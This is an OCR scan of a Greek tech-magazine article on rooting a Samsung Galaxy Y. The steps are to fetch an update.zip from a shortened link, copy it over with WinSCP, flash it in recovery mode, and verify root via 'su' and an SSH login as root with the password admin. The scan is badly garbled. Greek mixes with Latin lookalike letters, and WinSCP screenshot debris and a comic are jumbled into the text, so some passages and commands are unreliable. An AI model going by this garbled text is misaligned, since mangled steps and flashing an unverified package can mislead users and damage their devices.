θα καταλάβετε. Ano αυτὸ το περι- 
Power βάλλον μπορούμε πολὺ εὐκολα να 
μεταφέρουμε αρχεία μεταξύ των 
δύο παραθύρων και κατὰ συνέπεια 
μεταξύ των δύο συσκευών. Το πρὀ- 
γραµµα μπορεἰ κάλλιστα να χρησι- 
µοποιηθεἰ και για ἄλλες εργασίες, 
όπως για παράδειγµα προκειµένου 
να κρατάμε backup ano σηµαντικἀ 
αρχεία. Όπως υποψιάζεστε, η συ- 
γκεκριµένη εφαρµογἡ θα µας χρει- 
αστεἰ και στη συνέχεια. 


Προαπαιτούμενα για την 
επιτυχία 


Η διαδικασἰα του rooting µιας συ- 

Home σκευἠς εἶναι πάντα συναρπαστική 

κι ευχάριστη, OOO απλἠ κι να εἶναι. 

αφνικά ανοίγεται ἑνας ολόκληρος 

κόσμος μπροστὰ µας, γεμάτος ano νέες δυνατότητες! Τα βήματα που 

πρέπει να ακολουθἠσει κανεὶς εἶναι λίγο-πολύ παρόμοια για τις περισσὀ- 

τερες συσκευὲς µε Android. Εμεἰς ὁμως θα μιλήσουμε συγκεκριµένα για 

το Samsung Galaxy GT-S5370 Y. Πριν ξεκινήσετε μια τέτοια επέμβαση, 
πρέπει να ἐχετε υπόψη σας τα ακὀλουθα: 


Στην Ελλάδα, μαζί µε τη συσκευἠ παρέχεται και µια κάρτα SD, χωρητικὀ- 
τητας 2GB. Πρὀκειται για µια πολὺ μικρὴ κάρτα (λίγο μεγαλύτερη ano Eva 
νύχι), την οποία πρέπει να εισαγάγετε στο κινητό. Στο Galaxy Y, η σχε- 


=a 
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|: Local Mark Files Commands Session Options Remote Help | 


ΓΓΕΤ O Í oeat στὰ. | 
& C Local Disk Ha: e-s- mA αἱ | τε Ji sdcard Hai e-s m πα 3 [8| τε | 
| CAAIVAHE\DoestPut SSS ined a ee ee ee | 
Name Ext Size Type ον _ Changed|| Name ΄ ext Size Changed Rights Owner 
8. Parent directory 25/12/21 8... 25/12/2011 9:53:52 δὶ rwxrwxr-x του 
W| CaptureO1.png 35.446 PNG image 24/12/201| | J) Android 21/12/2011 9:51:00 ii τ--πνχτ-χ system 
Βν Capture02,.PNG ( 8 |. ] ΞΞΞΠΛΟΓΞΧ. system 
(Ra) Capture03.png - | ~TWXI-K system 
W| Capturel0.png Copy file update.zip'to remote directory: Ἷ ---TWXT-X system 
M| Capturell.png /mnt/sdeard/~~ ii ---γλατ-χ system 
Ra) Capturel2.PNG Transfer settings ii ---PWXT-X system 
Βα root02.PNG Default transfer settings ii ---γλχτ-Χ system 
E update.zip ου. root 
CD WFT Downloaded Files 24-1... F] New and updated fiets) only PP Do not show this dialog bax again ==TWXE-X E 
=TWXT-X em 
| Transfer on background (add to transfer queue) [V] No confirmations 
ss 1 


«[ mM 


J r 


0B of 2.703 KiB in Oof 9 


0Bof0Bin Oof 10 


:2 F2Rename | ἤ F4 Edit 23 F5 Copy «13 F6 Move (3 Ε7 Create Directory X F8 Delete 57 F9 Properties Γι F10 Quit 
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τική υποδοχή βρίσκεται κάτω and 
το καπάκι της μπαταρίας. H µπατα- 
pia βέβαια δεν χρειάζεται να αφαι- 
ρεθεί, αφού η υποδοχή βρίσκεται 
στην αριστερἠ πλευρὰ και γράφει 
...microSD! 


H επιτυχία του εγχειρήματος δεν 
εἶναι εγγυημένη. Εμείς σας δεἰ- 
XVOUHE κἁτι που κάναμε στο δικὀ 
μας κινητὀ και πέτυχε, αλλά στο 
δικὀ σας ενδέχεται ν΄ αποτύχει. 
Auto βἐβαια δεν θα πρέπει να σας 
τρομάζει! Υπάρχει ἑνας πολὺ απλὀς 
τρόπος να επαναφέρετε τις ap- 
XIKEG ρυθμἰσεις του κινητού σας, 
τον οποίο αναφέρουμε παρακάτω. 
Εξάλλου ο κἰνδυνος της αποτυχίας 
δεν θα πρέπει να σας πτοεἰ NOTE. 
Αν δε σπἀσεις, δεν θα μάθεις. Έτσι 
εἶναι. 


Πριν κάνετε οτιδήποτε, πάρτε 
backup τα στοιχεία kal Ta δεδομένα 
που EXETE αποθηκεύσει στο κινητό 
σας. Ἕνας αναλυτικὀς οδηγὀς για 
backup στο Android εδὠ: http:// 
techflipper.com/make-full-android- 
backup-and-restore-via-titanium- 
backup-app 


Αφού ολοκληρώσετε TO rooting 
πρέπει να γνωρίζετε ὁτι EIOTE EKTOG 
εγγύησης. Αυτό μάλιστα ισχύει 
ακόµη κι αν ἐχουν περάσει λίγες 
μόνο ὠρες απὀ τη στιγμή που ayo- 
ράσατε To κινητὀ. Πάντως οὐτε κι 
αυτὸ θα πρέπει να σας ανησυχεί. 
Mnopeite ava πᾶσα στιγμή να ena- 
ναφέρετε την εγγύηση, θέτοντας 
τη συσκευἠ στις εργοστασιακὲς της 
ρυθμίσεις. AUTÒ γίνεται ξεκινώντας 
το κινητὀ σε recovery mode. Πα va 
πετύχετε κάτι τέτοιο πατήστε TAU- 
τὀχρονα τα κουμπιά power, volume 
up και home (εικόνα 7). Μετά, xpn- 


Εικόνα 9 

H συσκευή ξεκ[- 
νησε σε recovery 
mode και, μεταξύ 
ἄλλων, µπορείτε 
να επαναφέρετε 
τις εργοστασιακἑς 
ρυθμίσεις. 


Εικὀνα 10 

Αφού επιλέξετε 
το «apply update 
from sdcard», 
πρέπει va επιλὲέ- 
ἕξετε και το αρχείο 
που αντιγράψατε 
προηγουμένως 
στην κάρτα, μέσω 
WinSCP. 


σιμοποιώντας το κουμπί volume down, επιλέξτε TO «Wipe data / Factory 
reset» και εκτελἐστε το πατώντας το κουμπἰ Home. Το iio, προφανώς, 
µπορείτε να κάνετε και στην περίπτωση που αποτύχει το rooting. 


Ὅσα περιγράφουμε παρακάτω ισχύουν για τη συσκευἠ Samsung Galaxy 
Y. Πα άλλες GUOKEUEG δεν μπορούμε να εγγυηθούμε την επιτυχία. Αν 
πάντως έχετε κάποια ιστορἰα επιτυχἰας/αποτυχἰας να μοιραστείτε μαζὶ 
μας, παρακαλούμε να το κάνετε. H fan page ἠ/και τα forums του περι- 
οδικού εἶναι ὁ,τι πρέπει για va µας γράψετε τι (δεν) έγινε στη SIKN σας 
περίπτωση. 
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Get r0Ot baby ;) 


Και τώρα nou ξεκαθαρίσαµε ὁσα πρέπει va προσέξετε, μπορούμε va npo- 
χωρήσουμε στο «σπάσιμο» Tou Galaxy Y χωρίς ενδοιασμούς! Τα βήματα 
που θα ακολουθήσετε εἶναι τα εξἠς: 


Κατεβάστε το αρχεἰο update.zip ano εδώ: http://bit.ly/dhee4getupdate 


Χρησιμοποιώντας το WinSCP που αναφέραμε παραπάνω, μεταφέρετε TO 
αρχείο update.zip στο κινητὀ σας και συγκεκριµένα στον κατάλογο /mnt/ 
sdcard (εικὀνα 8). ΠΡΟΣΟΧΗ: Μην κάνετε unzip To update.zip. Αφήστε το 
ως ἐχει. Το update.zip περιέχει όλα τα νέα αρχεἰα εκκίνησης Tou Android, 
τα οποία απαιτούνται για να σας δώσουν root access. O στὀχος τώρα εἰ- 
ναι να ενημερώσετε το σύστημα, µε τα περιεχόμενα του συγκεκριμένου 
αρχείου. 


ajwie|r|tly|ulijolp 
a}s}d| fle} h}i}kjt 
t BREEEOOD - 
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Κλείστε το κινητό και εκκινήστε το πάλι -- αλλά σε recovery mode. Πα 
το OKONO αυτό, πατήστε ταυτόχρονα τα κουμπιά power, volume up και 
home (εικόνα 7). Με αυτόν τον τρόπο θα βρεθείτε σε Eva περιβάλλον σαν 
αυτό της εικόνας 9. Edw µπορείτε να μετακινεῖστε µε τα πλήκτρα Volume 
Up και Volume Down, ενώ για να επιλέξετε KATI πατάτε το κουμπἰ Home. 
Παρεμπιπτόντως, and αυτήν την περιοχἠ γίνεται και η επαναφορά της 
συσκευἠς στις εργοστασιακἑὲς ρυθμίσεις, που αναφέραμε προηγουμένως. 


Μετακινηθεἰτε στην επιλογἠ «apply update from sdcard» κι εκτελἐστε 
την πατώντας Home. ‘Eto! θα βρεθείτε σε µια οθὀνη, ὁπως αυτή της £l- 
Kovac 10. Αρκεἰ τώρα να μετακινηθεἰτε στο αρχείο update.zip και va το 
επιλέξτε, πατώντας πάλι το Home. 


Μετὰ To update επιλέξτε και EKTEAEOTE το «reboot system now». Εφόσον 
πήγαν όλα καλὰ, το κινητὸ σας θα ξεκινήσει Kavovikd κι εσεὶς θα ἐχετε 
αποκτήσει πρὀσβαση root! 


Δοκιμαστική πτήση 


Μπορείτε να ελέγξετε την επιτυχία του εγχειρήματος µε πολλούς τρὸ- 
πους. Εμεὶς θα σας δείξουμε δύο βασικούς, χρησιμοποιώντας τα npo- 
γράμματα που ἐχουμε Non εγκαταστήσει: 


Με το Android Terminal Emulator. Μπείτε κανονικἁ στο Terminal και πλη- 
κτρολογεἰστε την EVTOAN su. Αμέσως το πρὀγραµµα θα σας ρωτήσει αν 
θέλετε να μπείτε σε administrator mode. Εσεὶς φυσικά, θα απαντήσετε 
καταφατικά. Δείτε την εικόνα 11. Όπως βλέπετε... uid =0 ;) 


Με το SSHDroid. Συνδεθείτε µε το PUTTY στον SSH server του κινη- 
TOU σας. EW χρειάζεται προσοχή: H πόρτα που πρέπει να ορίσουμε στο 
PuTTY δεν εἶναι πλέον η 2222, αλλά η 22! fia τη σύνδεση, δώστε σαν 
username To root και σαν password το admin. Εάν συνδεθείτε, έχετε 
γίνει root (εικὀνα 12). Ο στὀχος σας επετεύχθη! 


Last but not least... 


Παρουσιάσαµε ἑναν τρόπο va πάρετε root στο κινητὀ σας. Βέβαια δεν 
κάναμε και καμιὰ σπουδαἰα ανακάλυψη, αλλά φιλοδοξούμε να αποτελέσει 
την αρχἠ µιας νέας σειρὰς ano άρθρα, που θα ασχολούνται HE TIG νέες και 
έξυπνες συσκευὲς µας. Το µόνο σίγουρο εἶναι ὁτι θα αποτελέσουν τους 
σιωπηρούς βοηθούς του μέλλοντος, για Eva σωρό δουλειὲς που φαντά- 
ζεστε και ακόµα περισσότερες αν αρχίσουμε να σκεφτόμαστε outside the 
box ;) O στὀχος µας εἶναι να τις ελέγχουμε και να τις φτάνουμε στα Opia 
τους ἡ, ακόµα καλύτερα, να τις ωθούμε στα δικἁ µας ὁρια. Stay tuned! 


gp 192.168.10.11 - PuTTY i E N . = 


Εικόνα 12 
got root -- proof 2! 


Sie | 


...Kal διαβάστε τα επίσης συναρπαστικα 
άρθρα µας, πάνω σε θέματα που προς TO 
παρὸν δεν έχουμε αποφασισε! -- και γι’ AUTÒ 
γράφουμε τέτοιες γενικότητες :5 


Φεβρουαρίου... 
æ γνωρίστε µια φορητή, αποτελεσματικἠ æ μάθετε πὼς δημιουργούνται οι 
κι εξαιρετικά επικίνδυνη παγίδα για διευθύνσεις IP αλλά και πῶς 
όσους προτιμούν την ευκολία των οριοθετούνται τα TonIKka δίκτυα 


αυτοματισμών 


EIMA! O AAKRH= “EIMAI TO PC TOY. 
AYTO EINAI TO PC MOY. | AYTOZ EINAI HAIOIOZ." 


ΧΘΕΣ 
SAPOYZIAZA 
=YNTOMA ENI TPEIZ QPE= 
OA EXO 
THN 14EA MOY 
TH aIKH MOY 
CIA ENA SITE 
START OP... | Ξε ΞΕΝΟΥΣ 
EMENAYT EH... 


KAI 7ρεε/ 
ή NA HCE 70» 
KANA FIATI ETO TEAOZ H START UP 
=WKQONKE H SHUT UP 
ENAZ ANO TOYZ 2 EWA ANO 
EIEN AYTE= KAI | TA AYO... 
SCHKE ANO THN 
4ΘΟνΞ4 PONAZONT A= 
START UP, 
START UP.. 
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Η διαφήμισή σας θα 
μπορούσε να εἶναι εδώ. 


Θα μπορούσε va ‘val και σε κάποια άλλη σελίδα, δηλαδή. 


Αλλά δεν εἰναι. 


Προς το παρόν. 


πνος µας = E DOUME a ΞΕΡΕΤΕ m 
ξε POUE on ξέρετε ει rper va κάνετε. 


Μην ντρέπεστε, λοιπόν. 


talk2us@deltahacker.gr 


Εμείς πάντως θα σας μιλήσουμε. (3) 
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ΕΦΠΟΧΠΟΙΛΟ 01) *313d3= *SuTyDeYy ΤΒΟΤΙ19 Ὀ]Λλογο19Π30 3Η 
ΠΟλ1Φ9Ο1681{ ΠΟλΧΙΛΟΥΟΛΧ31 ΠΟΟΞ1ΩΥΟλ nor Ὀλλοποιήμο ua 
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